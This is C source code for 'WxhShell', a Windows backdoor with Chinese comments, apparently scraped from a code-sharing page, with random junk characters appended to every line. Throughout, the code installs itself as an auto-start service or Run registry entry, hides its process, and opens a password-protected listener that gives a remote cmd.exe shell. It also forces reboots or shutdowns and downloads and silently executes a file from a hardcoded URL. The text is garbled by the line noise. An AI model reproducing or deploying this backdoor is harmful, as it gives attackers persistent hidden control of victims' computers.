    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^YLpZoo  
    if(Boot(SHUTDOWN)) }m6j6uAR6)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =<M7t*!  
    else { ]%K 8  
    closesocket(wsh); pWwB<F  
    ExitThread(0); iVKX *kqc  
    } ~!w()v n  
    break; '"=Mw;p  
    } m%hUvG| i  
  // 获取shell q3s +?&  
  case 's': { Q*+_%n1 /  
    CmdShell(wsh); 8VwByk8  
    closesocket(wsh); `Oc`I9  
    ExitThread(0); A%G \ AT  
    break; 'h6Vj6  
  } Gv};mkX[N  
  // 退出 aDik1Q  
  case 'x': { p2UZqq2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Gu3'<hTlxd  
    CloseIt(wsh); ?*~Pgh >uL  
    break; .7HnWKUV  
    } mQOYjy3  
  // 离开 <A,G:&d~  
  case 'q': { :  Jh  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); u/% 4WgA  
    closesocket(wsh); esM< .  
    WSACleanup(); (!nhU  
    exit(1); XVfp* `  
    break; {bUd"Tu  
        } [We(0wF[`  
  } :W/,V^x}  
  } Wkk=x&  
:z EhPx;B7  
  // 提示信息 `2Buf8|a,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I\0mmdi73  
} Us ]Uy|j  
  } cXO_g!&2A  
c !ybz{L  
  return; ZZa$/q"  
} z.9 #AN=&[  
AID}NQ Qj_  
// shell模块句柄 ^%v<I"<Uq5  
int CmdShell(SOCKET sock) xpf\S10e  
{ 3eV(2  
STARTUPINFO si; 43mV~Oj  
ZeroMemory(&si,sizeof(si)); J jCzCA:K_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; uxq!kF'Ls  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $h Is ab_  
PROCESS_INFORMATION ProcessInfo; [1Dg_>lz  
char cmdline[]="cmd"; $?OuY*ZeY9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &pZUe`3  
  return 0; "-N)TIzLX  
} >Hr0ScmN@"  
(YjY=F  
// 自身启动模式 Uv6#d":f;  
int StartFromService(void) W`C&$v#  
{ a$c7d~p$I  
typedef struct ^ ,Bxq^'D  
{ &/7AW(?  
  DWORD ExitStatus; K/ q:aMq  
  DWORD PebBaseAddress; ba?]eK   
  DWORD AffinityMask; 13]sZ([B%|  
  DWORD BasePriority; vXnTPjbE  
  ULONG UniqueProcessId; ;X u&['  
  ULONG InheritedFromUniqueProcessId; )T6+}   
}   PROCESS_BASIC_INFORMATION; ,/\%-u? 1x  
I3xx}^V  
PROCNTQSIP NtQueryInformationProcess; :8;8-c  
a#=GLB_P(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; f8E S GU  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; uOEFb  
BZqb o`9  
  HANDLE             hProcess; FU0&EO  
  PROCESS_BASIC_INFORMATION pbi; lqOv_q  
%}G:R !4 d  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Q1Z;vzQfg  
  if(NULL == hInst ) return 0; %S22[;v{N  
cI3uH1;#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); z(^p@&r)F  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); U~ SK 'R  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); A+j~oR  
Vkex&?>v$  
  if (!NtQueryInformationProcess) return 0; bw{%X  
a%f5dj+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); m=2TzLVv  
  if(!hProcess) return 0; /^ v4[]  
}k}5\%#li5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; J4te!,  
8zz-jk R  
  CloseHandle(hProcess); 0Bn$C, -  
r]'AdJFt  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \z8TYx@  
if(hProcess==NULL) return 0; `S Wf)1K  
+MOUO$;fGt  
HMODULE hMod; uJG^>B?`b  
char procName[255]; LX j Tqp'  
unsigned long cbNeeded; ?x]T &S{  
<;x+ ?j  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }rVnuRq  
t09,X  
  CloseHandle(hProcess); MC3XGnT#5  
J6Mm=bO5  
if(strstr(procName,"services")) return 1; // 以服务启动 A0S6 4(  
E/_=0t  
  return 0; // 注册表启动 ^zqz$G#  
} *D]/V U  
kaUH#;c>_  
// 主模块 4 !~JNO  
int StartWxhshell(LPSTR lpCmdLine) ;4XX8W1  
{ 33couAP#  
  SOCKET wsl; }?>30+42:  
BOOL val=TRUE; }(J6zo9(x  
  int port=0; 1S\q\kz->D  
  struct sockaddr_in door; yA(H=L-=!1  
,Mc}U9)F  
  if(wscfg.ws_autoins) Install(); &nj@t>5Bs$  
$|z8WCJ  
port=atoi(lpCmdLine); =bf-+gZD  
~v9\4O  
if(port<=0) port=wscfg.ws_port; g<KBsz!{  
Czb@:l%sc  
  WSADATA data; P 2;j>=W  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &#g;=jZ  
ep[7#\}5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   SL:o.g(>4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ? {cF'RB.  
  door.sin_family = AF_INET; `-Gs*#(/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Tb}`]Y`X  
  door.sin_port = htons(port); V# w$|B\  
o?^j1\^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 'fcJ]%-=  
closesocket(wsl); Pp3tEZfE  
return 1; :!3CoC.X|c  
} u&bo32fc  
3,tKqR7g  
  if(listen(wsl,2) == INVALID_SOCKET) { |)pT"`  
closesocket(wsl); PWLMux  
return 1; >F,~QHcz  
} v"_hWJ)  
  Wxhshell(wsl); &hd+x5  
  WSACleanup(); z7{b>oub('  
5H==m~  
return 0; 8Z/P<u  
4<Bj;1*4  
} kHX- AsRc  
7u\^$25+h  
// 以NT服务方式启动 ZxbWgM5rm  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) E+>Qpy  
{ ] 2FS=  
DWORD   status = 0; "]5]"F4]  
  DWORD   specificError = 0xfffffff; hRxR2  
v?!x,H$Qd  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \|DcWH1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @(Ou;Uy  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (Pc:A! }  
  serviceStatus.dwWin32ExitCode     = 0; k=w%oqpN  
  serviceStatus.dwServiceSpecificExitCode = 0; mWUQF"q8  
  serviceStatus.dwCheckPoint       = 0; yWF DGk  
  serviceStatus.dwWaitHint       = 0; cL<  
lkFv5^%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5cgDHs  
  if (hServiceStatusHandle==0) return; %{&yXi:mS  
Po(9BRd7  
status = GetLastError(); gAgzM?A1(  
  if (status!=NO_ERROR) MBXumc_g  
{ @\z2FJ79w  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; bb+-R_3Kd  
    serviceStatus.dwCheckPoint       = 0; ~e ]83?  
    serviceStatus.dwWaitHint       = 0; m}Kn!21  
    serviceStatus.dwWin32ExitCode     = status; 5RI"g f  
    serviceStatus.dwServiceSpecificExitCode = specificError; !95ZK.UT  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5R/k -h^`  
    return; ~WehG<p v[  
  } vkASp&a  
HeNg<5v%Y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1nX/5z_U  
  serviceStatus.dwCheckPoint       = 0; . sgV  
  serviceStatus.dwWaitHint       = 0; 4mQ:i7~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 29 Yg>R!/  
} ^yu0Veypy  
p_) V@ 7  
// 处理NT服务事件,比如:启动、停止 +VI2i~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) vv"_u=H  
{ #l+U(zH:JG  
switch(fdwControl) ,g 6w2y7 ]  
{ /b@8#px  
case SERVICE_CONTROL_STOP: GO+cCNMa"  
  serviceStatus.dwWin32ExitCode = 0; z6ArSLlZ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )(_}60  
  serviceStatus.dwCheckPoint   = 0; x =5k74  
  serviceStatus.dwWaitHint     = 0; V[5-A $ft  
  { xWU0Ev)4U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D7olu29  
  } &^{HD }/{b  
  return; |t!kD(~r  
case SERVICE_CONTROL_PAUSE: Vqb4 MWW  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; b Zn:q[7  
  break; 8uchp  
case SERVICE_CONTROL_CONTINUE: xCEEv5(5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; jL6u#0  
  break; Siq2Glg_  
case SERVICE_CONTROL_INTERROGATE: B'lWs;  
  break; co|jUDu>W  
}; @vCPX=c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4=%Uv^M  
} #78p# E  
.`)\GjDv  
// 标准应用程序主函数 .MXznz  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) '0p 5|[ZD  
{ py]m^)yc  
9.!6wd4mw  
// 获取操作系统版本 O1ofN#u  
OsIsNt=GetOsVer(); %kxq"=3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); kBS;SDl)  
g>1yQ  
  // 从命令行安装 |-e*^|  
  if(strpbrk(lpCmdLine,"iI")) Install(); g G>1  
gah3d*d7  
  // 下载执行文件 8 T):b2h  
if(wscfg.ws_downexe) { {W)Kz_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) E*:!G  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1j`-lD  
} M$B9?N6  
_*>bf G  
if(!OsIsNt) { +\fr3@Yc  
// 如果时win9x,隐藏进程并且设置为注册表启动 9gZMfP  
HideProc(); C},;M @xV  
StartWxhshell(lpCmdLine); w-C ~ Ik  
} TUw^KSa  
else 1`^l8V(  
  if(StartFromService()) o8-BTq8  
  // 以服务方式启动 {Kx eH7S  
  StartServiceCtrlDispatcher(DispatchTable); w4Qqo(  
else j&6,%s-M`a  
  // 普通方式启动 mS p -  
  StartWxhshell(lpCmdLine); *`mPPts}  
zH0%; o}  
return 0; yM}}mypS  
} $3[IlQ?  
WS/^WxRY  
*p`0dvXG2  
/`Yy(?,  
=========================================== 5Q#;4  
w},' 1  
DJ_,1F  
Uq5 wN05  
I= G%r/3  
ZR.1SA0x?O  
" ng0IRJ:3  
w,bILv)  
#include <stdio.h> /;-KWu+5=  
#include <string.h> |NJe4lw+?  
#include <windows.h> L(\sO=t  
#include <winsock2.h> &tB|l_p_-p  
#include <winsvc.h> UCj4%y6t  
#include <urlmon.h> ([R}s/)$  
1+~JGY#   
#pragma comment (lib, "Ws2_32.lib") L-hK(W!8pt  
#pragma comment (lib, "urlmon.lib") x|d Xa0=N_  
!C * %,Ak  
#define MAX_USER   100 // 最大客户端连接数 es]\ xw  
#define BUF_SOCK   200 // sock buffer +0rMv  
#define KEY_BUFF   255 // 输入 buffer T]Gxf"mK  
C)~YWx@v  
#define REBOOT     0   // 重启 x%23oPM  
#define SHUTDOWN   1   // 关机 :y==O4  
]sjYxe  
#define DEF_PORT   5000 // 监听端口 ^m;dEe&@F  
` wuA}v3!  
#define REG_LEN     16   // 注册表键长度 \{AxDk{z#  
#define SVC_LEN     80   // NT服务名长度 M>D 3NY[,  
|RDmY!9&  
// 从dll定义API T)&J}^j  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2.u d P  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); a% |[m,FvP  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); '@>FtF[Gu  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Rp `JF}~o  
?v-IN  
// wxhshell配置信息 7F;"=DarOE  
struct WSCFG { bN$`&fC0  
  int ws_port;         // 监听端口 )67_yHW  
  char ws_passstr[REG_LEN]; // 口令 `au(' xi<  
  int ws_autoins;       // 安装标记, 1=yes 0=no z`qBs  
  char ws_regname[REG_LEN]; // 注册表键名 hLPg=8nJ_  
  char ws_svcname[REG_LEN]; // 服务名 ; Xrx>( n  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 RIOR%~U  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 W{O:j  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8J{I6nPF  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8>S"aHt 7  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" L&=j O0_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 A`v(hBM  
%VOn;_Q*B  
}; F]]np&UV.  
gYVk5d|8@4  
// default Wxhshell configuration GE]fBg  
struct WSCFG wscfg={DEF_PORT, Bj09?#~[  
    "xuhuanlingzhe", &sR=N60n  
    1, sfNXIEr^  
    "Wxhshell", AVVL]9b_2  
    "Wxhshell", A"x1MjuqLM  
            "WxhShell Service", f ZL%H0&  
    "Wrsky Windows CmdShell Service", x|i"x+o  
    "Please Input Your Password: ", Qmle0ae  
  1, Uhfm@1 cz&  
  "http://www.wrsky.com/wxhshell.exe", 'bGL@H  
  "Wxhshell.exe" i#$9>X  
    }; -FytkM^]6  
#c@Dn.W  
// 消息定义模块 ^prseO?A  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; mt3j- Mw  
char *msg_ws_prompt="\n\r? for help\n\r#>"; xnmIo? hC  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Oe4 l` =2  
char *msg_ws_ext="\n\rExit."; 0-pLCf  
char *msg_ws_end="\n\rQuit."; 0JQy-hpF  
char *msg_ws_boot="\n\rReboot..."; :_JZn`Cab  
char *msg_ws_poff="\n\rShutdown..."; IG0$OtG  
char *msg_ws_down="\n\rSave to "; :VP4|H#SP  
})!d4EcZf  
char *msg_ws_err="\n\rErr!"; G3n* bv  
char *msg_ws_ok="\n\rOK!"; /AV [g^x2  
qp 4.XL  
char ExeFile[MAX_PATH]; n"vl%!B  
int nUser = 0; a]'sby  
HANDLE handles[MAX_USER]; wNL!T6"G  
int OsIsNt; z!;n\CV@  
4)BZ%1+  
SERVICE_STATUS       serviceStatus; p8K4^H  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; hm3,?FMbq  
O=LS~&=,  
// 函数声明 3":ef|w]  
int Install(void); x?Z)q4  
int Uninstall(void); Cbm  
int DownloadFile(char *sURL, SOCKET wsh); 9)0AwLlv  
int Boot(int flag); : Q X~bq  
void HideProc(void); `fh^[Q|4n0  
int GetOsVer(void); -QjdL9\[c7  
int Wxhshell(SOCKET wsl); J_YbeZ]  
void TalkWithClient(void *cs); 3{RuR+yi  
int CmdShell(SOCKET sock); J~KWn.  
int StartFromService(void); X).UvPZ/  
int StartWxhshell(LPSTR lpCmdLine); i)f3\?,,  
]'V8{l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )tR5JK} AV  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @;kw6f:{d  
pg~vteq5  
// 数据结构和表定义 ?g%5 d  
SERVICE_TABLE_ENTRY DispatchTable[] = E]w1!Ah M  
{ B!GpD@U  
{wscfg.ws_svcname, NTServiceMain}, F{)YdqQ  
{NULL, NULL} +qq,;npi  
}; 9 tkj:8_  
&?>h#H222  
// 自我安装 K];nM}<  
int Install(void) O-Hu:KuIf  
{ I\DmVc\l  
  char svExeFile[MAX_PATH]; T:o!H Xdj^  
  HKEY key; :zfnp,Gv  
  strcpy(svExeFile,ExeFile); v#&r3ZW0  
_ _cJ+%e  
// 如果是win9x系统,修改注册表设为自启动 ~E-YXl9  
if(!OsIsNt) { ,!t1( H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \eF5* {9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4"1OtBU3  
  RegCloseKey(key); D}'g4Ag  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mj5$ 2J  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ol H{!  
  RegCloseKey(key); c+?L?s`"  
  return 0; },'hhj]O  
    } 6cz%>@  
  } =2uE\6Fl,  
} (q`Jef  
else { 5r"BavA  
u\=gps/Z  
// 如果是NT以上系统,安装为系统服务 !t "uNlN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 11}sRu/  
if (schSCManager!=0) %AW5\ EX  
{ K:yS24\ %  
  SC_HANDLE schService = CreateService f gI.q  
  ( P`6 T;|VDk  
  schSCManager, 75i M_e\  
  wscfg.ws_svcname, i@e.Uzn  
  wscfg.ws_svcdisp, /*p4(D_A  
  SERVICE_ALL_ACCESS, d,[.=Jqv[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^-{ 1]G:  
  SERVICE_AUTO_START, hPr*<2mp  
  SERVICE_ERROR_NORMAL, Sxf|gDC  
  svExeFile, !e@G[%k  
  NULL, rubqk4  
  NULL, }'$6EgX  
  NULL, GlP [:  
  NULL, "wL~E Si  
  NULL A[J9v{bD  
  ); 0CS^S1/[B`  
  if (schService!=0) nV38Mj2U  
  { x&sT )=#  
  CloseServiceHandle(schService); MK9?81xd  
  CloseServiceHandle(schSCManager); W=M&U  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  84L!r  
  strcat(svExeFile,wscfg.ws_svcname); r5Ej  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { zk5sAHQ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +*,rOK`C  
  RegCloseKey(key); zf $&+E-  
  return 0; Hb 'fEo r  
    } 9(lIz{  
  } lz\{ X  
  CloseServiceHandle(schSCManager); vW]Frb  
} 1Uz'= a  
} !OWVOq8  
hKtOh  
return 1; *E0+!  
} hR b k-b  
x={t}qDS8  
// 自我卸载 Q_QmyD~m  
int Uninstall(void) Y<3s_  
{ fI`T3Y!7  
  HKEY key; 4LARqSmt  
6yk  
if(!OsIsNt) { +5Ir=]=T9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "F>-W \%  
  RegDeleteValue(key,wscfg.ws_regname); &<@ { d  
  RegCloseKey(key); AKx\U?ei7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rMxst  
  RegDeleteValue(key,wscfg.ws_regname); 2g-'.w  
  RegCloseKey(key); Y?%MPaN:  
  return 0; RBr  
  } @dX0gHU[c  
} U#G uB&V  
} S1uW`zQ!+_  
else { *7oPM5J|v  
mkYM/*qyM&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); g*t.g@B<2  
if (schSCManager!=0) qMYR\4"$  
{ G39H@@ *O0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Q nZR  
  if (schService!=0) ( f8g}2  
  { deaxb8'7  
  if(DeleteService(schService)!=0) { ~B>I?j  
  CloseServiceHandle(schService); @A!Ef=R  
  CloseServiceHandle(schSCManager); q9pBS1Ej  
  return 0; %s$_KG!&  
  } pTUsdao^,  
  CloseServiceHandle(schService); 1mOZ\L!m*  
  } ^*C6]*C}te  
  CloseServiceHandle(schSCManager); SZg+5MD;X  
} "V~U{(Z  
} 6_;3   
xp/u, q  
return 1; \s&w0V`Y  
} y[q W>  
h 7kyz  
// 从指定url下载文件 Wr`=P,  
int DownloadFile(char *sURL, SOCKET wsh) d|on y  
{ :*t v`:;p  
  HRESULT hr; WP32t@  
char seps[]= "/"; `@ qSDW!b  
char *token; )ty *_@N0  
char *file; +<:p`%  
char myURL[MAX_PATH]; gb@Rx  
char myFILE[MAX_PATH]; |F<U;xV$p  
}n=Tw92g  
strcpy(myURL,sURL); .)|jBC8|}  
  token=strtok(myURL,seps); Y8.0R-:ZAN  
  while(token!=NULL) j='Ne5X1  
  {  _+|*  
    file=token; fouy??  
  token=strtok(NULL,seps); '7>Vmr 6  
  } QC4_\V>[  
tt|U,o  
GetCurrentDirectory(MAX_PATH,myFILE); AEPgQ9#E  
strcat(myFILE, "\\"); |Y(].G,  
strcat(myFILE, file); 4TG|  
  send(wsh,myFILE,strlen(myFILE),0); dyWWgC%A  
send(wsh,"...",3,0); SZG8@ !_}7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); BOL_kp"   
  if(hr==S_OK) 3I:DL#f  
return 0; %Tsefs?_  
else FD|R4 V*3  
return 1; GD[~4G  
:KX/`   
} XIBw&mWf  
 Ea\a:  
// 系统电源模块 W7(OrA!  
int Boot(int flag) U@& <5'  
{ SKLQAE5  
  HANDLE hToken; Y141Twjvd  
  TOKEN_PRIVILEGES tkp; 5`x9+XvoN  
UeHS4cW  
  if(OsIsNt) { lBQ|=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); rUlpo|B  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); t T-]Vj.  
    tkp.PrivilegeCount = 1; 6ap,XFRMh  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; OFRzzG@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7MGc+M(p  
if(flag==REBOOT) { = 1}-]ctVn  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *tRJ=  
  return 0; DMf^>{[  
} WK;p[u?~xi  
else { {GWcw<g.B  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) v{% /aw  
  return 0; '2# 0UdG  
} aOYd "S}u  
  }  }O1F.5I1  
  else { KOF!a  
if(flag==REBOOT) { lq.0?(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) pQVi&(M  
  return 0; WM@uxe,  
} <wE2ly&x  
else { Jr''S}@|x  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]|[xY8 5}  
  return 0; |0qk  
} 0-|1}/{4  
} H>DJ-lG(  
N_gjOE`x5  
return 1; (Nik( Oyj"  
} 40g&zU-  
l}O`cC  
// win9x进程隐藏模块 yaX,s 4p  
void HideProc(void) /$9/,5|EA  
{ n]j(tP  
#=O0-si ]P  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); B;K{Vo:C  
  if ( hKernel != NULL ) !)\`U/.W  
  { xE6y9"}!h  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); G&uj}rj  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); PTePSj1N  
    FreeLibrary(hKernel); *=2jteG=3.  
  } ZV Gw@3  
$%t{O[ (  
return; fi?[ e?|c@  
} %pwm34  
MfL q h  
// 获取操作系统版本 ^k)f oD  
int GetOsVer(void) kW,yZ.?f  
{ T|{BT! W1E  
  OSVERSIONINFO winfo; |f>y"T+1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9*2hBNp+  
  GetVersionEx(&winfo); !Uj !Oy  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +Nza@B d  
  return 1; VX>_Sp s  
  else yRgo1ow]  
  return 0; 2l!"OiB.P  
} *|=&MU*+  
r?[mn^Bo5  
// 客户端句柄模块 tICxAp:  
int Wxhshell(SOCKET wsl) '[juPI(!  
{ d3{Zhn@  
  SOCKET wsh; a"EQldm|d  
  struct sockaddr_in client; "QlCcH`g  
  DWORD myID; u!@P,,NY  
D8dTw{C  
  while(nUser<MAX_USER) C#r`oZS1  
{ J]~fv9~P  
  int nSize=sizeof(client); C$(t`G  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6*LU+U=`  
  if(wsh==INVALID_SOCKET) return 1; qq?>ulu*W  
}40/GWp<f  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _c(=>  
if(handles[nUser]==0) '<}7bw}+c  
  closesocket(wsh); !^LvNW\|  
else L,D!T&B  
  nUser++; ow$#kQ&R O  
  } @O3w4Zs  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); w_{z"VeD  
7}lZa~/  
  return 0; NMj `wQ`M+  
} HOUyB's'  
/f6]XP\'`+  
// 关闭 socket >WD^)W fa  
void CloseIt(SOCKET wsh) I{Kc{MXn  
{ z)]EB6uRg  
closesocket(wsh); TY#1Z )%  
nUser--; tL).f:?  
ExitThread(0); e;pNB  
} Dr2h-  
 JA)gM  
// 客户端请求句柄 [n}c}%  
void TalkWithClient(void *cs) lZua"Ju  
{ c]"B)I1L  
%-*vlNC)  
  SOCKET wsh=(SOCKET)cs; *K98z ?  
  char pwd[SVC_LEN]; tEEhSG)s%  
  char cmd[KEY_BUFF]; KW;xlJz(j  
char chr[1]; a-} %R  
int i,j; fwnpmuJ  
Sx~_p3_5U  
  while (nUser < MAX_USER) {  HOD2/  
cp2fDn  
if(wscfg.ws_passstr) { HdLkof2i  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R utW{wh  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .kYzB.3@]  
  //ZeroMemory(pwd,KEY_BUFF); ?ykZY0{B  
      i=0; ,-1$Vh@wM  
  while(i<SVC_LEN) { GS$k  
w|Mj8Lc+  
  // 设置超时 e7?W VV,  
  fd_set FdRead; 1Efl|lV  
  struct timeval TimeOut; "p; DQ-V  
  FD_ZERO(&FdRead); .{;!bw  
  FD_SET(wsh,&FdRead); <s2l*mc  
  TimeOut.tv_sec=8; =;a4 Dp  
  TimeOut.tv_usec=0; V*m)h  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); XH2 SEeh  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #wd \&  
m@Nx`aS?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N 4v)0  
  pwd=chr[0]; 2(rZ@Wl  
  if(chr[0]==0xd || chr[0]==0xa) { &B2c]GoW  
  pwd=0; w2,T.3DT  
  break; =%u|8Ea*`  
  } c@^:tB  
  i++; F@*lR(4C  
    } ?% X9XH/!  
`%XgGHiE  
  // 如果是非法用户,关闭 socket ^kD? 0Fm  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); xh6x B|Z  
} VoyH:  
M"vcF5q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); pkU e|V  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u7C{>  
2%qn !+.  
while(1) { ]dK]a:S  
rO`g~>-  
  ZeroMemory(cmd,KEY_BUFF); .apX72's,  
)f!dG(\&#  
      // 自动支持客户端 telnet标准   '=~y'nPG7  
  j=0; Z+dR(9otH3  
  while(j<KEY_BUFF) { 5 muW*7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CU;nrd"  
  cmd[j]=chr[0]; z-gwNE{  
  if(chr[0]==0xa || chr[0]==0xd) { &0eB@8{N  
  cmd[j]=0;  ke#;1  
  break; 4@V] zfu^Q  
  } L@_">' pR  
  j++; &+j^{a  
    } (rG1_lUDu  
XH *tChf<  
  // 下载文件 `eWc p^|  
  if(strstr(cmd,"http://")) { ._&lG3'  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); N.G*ii\  
  if(DownloadFile(cmd,wsh)) UjDF  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); yK B[HpU-  
  else f0`' i[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s4gNS eA  
  } z^/GTY  
  else { Y+ Z9IiS7  
$ tNhwF  
    switch(cmd[0]) { "k<:a2R  
